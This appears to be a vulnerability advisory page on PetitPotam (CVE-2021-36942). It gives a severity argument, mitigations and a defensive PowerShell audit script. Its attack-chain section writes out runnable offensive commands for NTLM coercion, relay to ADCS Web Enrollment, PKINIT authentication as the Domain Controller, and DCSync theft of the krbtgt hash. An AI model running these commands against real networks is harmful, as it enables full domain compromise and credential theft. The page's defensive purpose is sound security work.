A polite RPC knock that convinces your Domain Controller to hand its identity to a stranger
CVE-2021-36942 (PetitPotam) abuses the MS-EFSRPC interface: an unauthenticated attacker on the network sends EfsRpcOpenFileRaw (or one of ~14 related methods) to a Windows host and coerces its machine account into NTLM-authenticating to an attacker-controlled server. The captured NTLM authentication is then relayed — classically to Active Directory Certificate Services Web Enrollment (/certsrv) — to mint a client-auth certificate as the coerced machine. If the coerced machine is a Domain Controller, the certificate is a golden ticket: it authenticates as the DC to LDAP/Kerberos, and DCSync / full domain compromise follows in minutes. Affected: all supported Windows Server versions (2008 R2 through 2022) and Windows 10/11 client SKUs prior to the August 10, 2021 rollup.
The vendor MEDIUM rating (CVSS 5.3–7.5 depending on source; Tenable plugin lists 7.5) is catastrophically miscalibrated for AD environments. Microsoft scoped the CVE narrowly to the EFSRPC coercion primitive, punting the actual damage to KB5005413 as a *configuration* issue with NTLM+ADCS. That accounting trick lets the CVSS look tame while the operational reality is unauthenticated domain takeover on any tenant that runs ADCS Web Enrollment without EPA — which was the default for years. Treat this as CRITICAL until you can prove ADCS HTTP endpoints are hardened or gone.
4 steps from start to impact.
Reach a DC on TCP/445 with no creds
\pipe\lsarpc or \pipe\efsrpc) on unpatched systems; on patched systems anonymous access to EFSRPC was blocked but authenticated coercion still works from any low-priv domain user.- Network path to DC on TCP/445
- EFSRPC pipe reachable (anonymous pre-patch, authenticated post-patch)
- SMB is rarely reachable from the internet; assumes attacker foothold inside the perimeter or a rogue insider
- Segmented networks with SMB restricted to admin tier limit reach
Coerce NTLM auth with PetitPotam.py / dementor.py
PetitPotam.py <listener_ip> <dc_ip> (topotam/PetitPotam) or Impacket's dementor.py. The DC's LSASS process obediently opens an SMB session back to the attacker's IP and offers a Net-NTLMv2 handshake as DC01$. Newer tools (Coercer by p0dalirius) chain EFSRPC with DFSCoerce, PrinterBug, and ShadowCoerce fallbacks.- A tool: PetitPotam.py, Coercer, dementor.py, or ntlmrelayx built-in coercion
- SMB egress from DC to attacker listener (default allowed intra-VLAN)
- SMB signing enforced on the relay target prevents SMB→SMB relay (but ADCS HTTP relay ignores this)
- Post-KB5005413 patch blocks anonymous EFSRPC — attacker needs any valid domain credential
smb_files.log with EFSRPC opnum inspectionRelay to ADCS Web Enrollment with ntlmrelayx
ntlmrelayx.py -t http://adcs01/certsrv/certfnsh.asp --template DomainController --adcs. The relayed DC$ NTLM auth is forwarded to the ADCS HTTP endpoint, which happily issues a DomainController template certificate to the attacker. This step fails only if EPA (Extended Protection for Authentication) is enforced on the ADCS site or the HTTP enrollment role is uninstalled.- ADCS installed with Web Enrollment or CES role
- Web Enrollment HTTP/HTTPS reachable from attacker
- EPA not enforced (default until KB5005413 guidance applied)
- Sites that removed Web Enrollment entirely are immune
- EPA + Require SSL breaks the relay
- Some orgs never deployed ADCS — but ~60%+ of AD forests do
POST /certsrv/certfnsh.asp from unexpected source IPs; Certificate Services event log shows unusual template issuanceAuthenticate as DC$ with PKINIT — DCSync the domain
Rubeus asktgt /user:DC01$ /certificate:cert.pfx /getcredentials or certipy auth -pfx dc.pfx to obtain a TGT for the DC's machine account. From there secretsdump.py -just-dc DOMAIN/DC01\$@dc01 performs DCSync and pulls the krbtgt hash. Domain is fully owned.- Certificate for DC computer account
- KDC reachable for PKINIT
- None once the certificate is in hand — this is by design
The supporting signals.
| CVE | CVE-2021-36942 — Windows LSA Spoofing / EFSRPC coercion (PetitPotam) |
|---|---|
| KEV status | Listed in CISA KEV since November 3, 2021; federal remediation was mandated |
| EPSS | ~0.85 (99th percentile) — top-tier exploitation likelihood |
| In-the-wild | Active exploitation confirmed: LockFile ransomware chains ProxyShell → PetitPotam → DA; observed in Conti, BlackCat, and multiple APT playbooks |
| Public PoCs | topotam/PetitPotam (original), Impacket dementor.py, p0dalirius/Coercer (multi-vector), ntlmrelayx built-in coercion, certipy relay |
| CVSS | Microsoft 5.3 (AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N); Tenable 7.5 — both undercount the ADCS chain |
| Affected | Windows Server 2008 R2 → 2022, Windows 10/11 pre August 10, 2021 rollup; also configuration-dependent post-patch if ADCS Web Enrollment lacks EPA |
| Fixed by | KB5005033 (Aug 10 2021 rollup) blocks anonymous EFSRPC; hardening per KB5005413 (EPA + Require SSL on ADCS, disable NTLM on ADCS) |
| Exposure data | Shodan shows ~35k ADCS /certsrv endpoints internet-exposed; internal exposure inside enterprise networks is effectively universal where ADCS exists |
| Reported by | Gilles Lionel (@topotam77), July 2021; weaponization within 48 hours of disclosure |
noisgate verdict.
The single decisive factor is the role multiplier: the coerced target is canonically a Domain Controller, and the relay endpoint (ADCS Web Enrollment) is canonically the enterprise CA — the chain terminates in unauthenticated domain compromise on a default AD+ADCS deployment. KEV listing plus documented ransomware weaponization make the MEDIUM vendor rating indefensible for any tenant with ADCS.
Why this verdict
- Role multiplier — Domain Controller + ADCS: the documented chain succeeds against any DC where the forest also runs ADCS Web Enrollment/CES without EPA. Blast radius = full domain compromise (DCSync, krbtgt theft). This is the canonical high-value-role deployment for both affected components — floor is CRITICAL.
- KEV-listed and weaponized: CISA added it November 2021; LockFile, Conti-era operators, and multiple red teams treat PetitPotam as a standard post-foothold primitive. The mitigation SLA becomes 'immediately' regardless of bucket.
- Friction is limited to intra-network position, not to the exploit itself: the only real friction is 'attacker must be on-net with SMB reach to a DC'. In a flat corporate LAN with a phished workstation, that's satisfied on day one. This friction sets the verdict *above* the floor rather than *below* it.
- Vendor CVSS accounting error: Microsoft rated only the EFSRPC coercion primitive (I:H, no A/C) and deferred the actual DA takeover to a configuration KB. The composite chain is unauthenticated → SYSTEM on the forest, which is a textbook 9.8–10.0 outcome.
Why not higher?
Not a flat 10.0 because the chain requires the attacker to already have network reach to internal SMB (assume post-initial-access) and requires ADCS Web Enrollment or a similar relay target to be present and un-EPA'd. Tenants that removed ADCS HTTP roles or enforced EPA years ago genuinely block the chain at step 3.
Why not lower?
MEDIUM is only defensible for a Windows tenant with no ADCS, no NTLM, SMB signing enforced everywhere, and channel binding enforced — a rare unicorn. For everyone else, downgrading below HIGH ignores KEV, ignores active ransomware use, and ignores that the vendor's own KB5005413 exists precisely because the CVSS undercounted the chain.
What to do — in priority order.
- Enforce EPA + Require SSL on all ADCS HTTP endpoints — Per KB5005413, enable Extended Protection for Authentication on
/certsrv,/certcarequest,/certfnsh.asp, CES, and NDES virtual directories, and require HTTPS. This is the single control that breaks the ADCS relay step. Deploy within 3 days per the noisgate CRITICAL mitigation SLA. - Disable NTLM authentication on ADCS servers — Set
LmCompatibilityLevel=5and disable NTLM inbound on the ADCS IIS site viaRestrict NTLM: Incoming NTLM traffic = Deny all accounts. Forces Kerberos-only enrollment; the relay has nothing to forward. Ship inside the 3-day window. - Remove ADCS Web Enrollment / CES roles if unused — Most orgs use MMC-based enrollment or autoenrollment via GPO; the HTTP roles are legacy. Uninstall
ADCS-Web-EnrollmentandADCS-Enroll-Web-Svcwhere not required. Highest-assurance mitigation. - Deploy the August 10, 2021 rollup (KB5005033 family) fleet-wide — The patch blocks anonymous EFSRPC binding. This is the noisgate remediation step — complete within 90 days on all Windows Server and client SKUs; prioritize DCs and ADCS hosts in the first 7 days.
- Enforce SMB signing and LDAP channel binding / signing domain-wide — Blocks SMB→SMB and SMB→LDAP relay variants and hardens against sibling coercion CVEs (DFSCoerce, PrinterBug, ShadowCoerce). Push via GPO to all DCs and member servers.
- Deploy Coercer or Purple Knight to inventory coercion surface — Run
Coercer scan -t <host>against every DC and file server; identify which coercion methods still respond post-patch and prioritize hardening. Also verifies EPA enforcement.
- Applying only the August 2021 patch without KB5005413 hardening — patched hosts still allow authenticated EFSRPC coercion (any domain user), and the ADCS relay still succeeds without EPA.
- Blocking EFSRPC pipe alone — attackers pivot to DFSCoerce (MS-DFSNM), PrinterBug (MS-RPRN), ShadowCoerce (MS-FSRVP), or MS-EVEN6 with equivalent effect. The coercion primitive is a moving target; harden the *relay target*.
- Perimeter WAF / IDS — this is entirely intra-network SMB and internal HTTPS traffic. Perimeter appliances never see it.
- 'We disabled SMBv1' — irrelevant. EFSRPC coercion works over SMB2/SMB3 just fine.
Crowdsourced verification payload.
Run on an auditor workstation with domain-user credentials, or locally on each Domain Controller / ADCS host as a member of the local Administrators group. Invocation: .\Check-PetitPotam.ps1 -AdcsHost adcs01.corp.local -DcHost dc01.corp.local. Reports VULNERABLE if the August 2021 rollup is missing, if ADCS Web Enrollment is present without EPA, or if EnableCertPadding/EPA registry hardening is absent.
#requires -Version 5.1
# Check-PetitPotam.ps1 — noisgate verification for CVE-2021-36942 (PetitPotam)
# Exit 0 = PATCHED, 1 = VULNERABLE, 2 = UNKNOWN
param(
[string]$AdcsHost = $env:COMPUTERNAME,
[string]$DcHost = $env:COMPUTERNAME
)
$ErrorActionPreference = 'Stop'
$vulnFindings = @()
# 1) Confirm August 2021+ rollup is installed on the DC target
try {
$hf = Get-HotFix -ComputerName $DcHost -ErrorAction Stop |
Where-Object { $_.InstalledOn -ge (Get-Date '2021-08-10') }
if (-not $hf) { $vulnFindings += "$DcHost missing August 2021+ cumulative update (KB5005033 family)" }
} catch { Write-Warning "HotFix lookup failed on $DcHost : $_"; $script:unknown = $true }
# 2) Check for ADCS Web Enrollment role on the CA host
try {
$webEnroll = Invoke-Command -ComputerName $AdcsHost -ScriptBlock {
Get-WindowsFeature -Name ADCS-Web-Enrollment,ADCS-Enroll-Web-Svc -ErrorAction SilentlyContinue |
Where-Object Installed
} -ErrorAction Stop
if ($webEnroll) {
# 3) EPA enforcement on /certsrv — checked via IIS config
$epa = Invoke-Command -ComputerName $AdcsHost -ScriptBlock {
Import-Module WebAdministration -ErrorAction SilentlyContinue
(Get-WebConfigurationProperty -PSPath 'MACHINE/WEBROOT/APPHOST/Default Web Site/CertSrv' `
-Filter 'system.webServer/security/authentication/windowsAuthentication' `
-Name 'extendedProtection.tokenChecking' -ErrorAction SilentlyContinue).Value
} -ErrorAction SilentlyContinue
if ($epa -notin @('Require','Accept')) {
$vulnFindings += "$AdcsHost has ADCS Web Enrollment installed WITHOUT EPA (tokenChecking=$epa)"
}
# 4) Verify HTTPS-only
$httpBinding = Invoke-Command -ComputerName $AdcsHost -ScriptBlock {
(Get-WebBinding -Name 'Default Web Site' -Protocol 'http')
} -ErrorAction SilentlyContinue
if ($httpBinding) { $vulnFindings += "$AdcsHost /certsrv accepts plaintext HTTP — relay possible" }
}
} catch { Write-Warning "ADCS inspection failed on $AdcsHost : $_"; $script:unknown = $true }
# 5) NTLM restriction sanity check on the CA
try {
$lmCompat = Invoke-Command -ComputerName $AdcsHost -ScriptBlock {
(Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa' -Name LmCompatibilityLevel -ErrorAction SilentlyContinue).LmCompatibilityLevel
} -ErrorAction SilentlyContinue
if ($null -ne $lmCompat -and $lmCompat -lt 5) {
$vulnFindings += "$AdcsHost LmCompatibilityLevel=$lmCompat (should be 5 or NTLM disabled)"
}
} catch { $script:unknown = $true }
if ($vulnFindings.Count -gt 0) {
Write-Host 'VULNERABLE' -ForegroundColor Red
$vulnFindings | ForEach-Object { Write-Host " - $_" }
exit 1
} elseif ($unknown) {
Write-Host 'UNKNOWN — one or more remote checks failed; re-run with elevated creds' -ForegroundColor Yellow
exit 2
} else {
Write-Host 'PATCHED' -ForegroundColor Green
exit 0
}
If you remember one thing.
/certsrv and all ADCS HTTP virtual directories, disable NTLM inbound on the CA, and — if you don't need HTTP enrollment — uninstall the ADCS-Web-Enrollment role entirely this week. Per the noisgate remediation SLA (≤90 days), confirm the August 10, 2021 cumulative update or later is installed on 100% of Windows Server and Windows 10/11 hosts, prioritizing DCs and ADCS servers in the first 7 days. Because this CVE is KEV-listed and actively used by ransomware, the '≤3 days' mitigation deadline collapses to 'this week, no exceptions' — do not wait on change windows for EPA enablement. Run Coercer against every DC afterward to prove no coercion primitive still relays to an un-EPA'd endpoint.Sources
What defenders are saying.
Crowdsourced verification outputs.
Results submitted by users who ran the verification payload against their environment.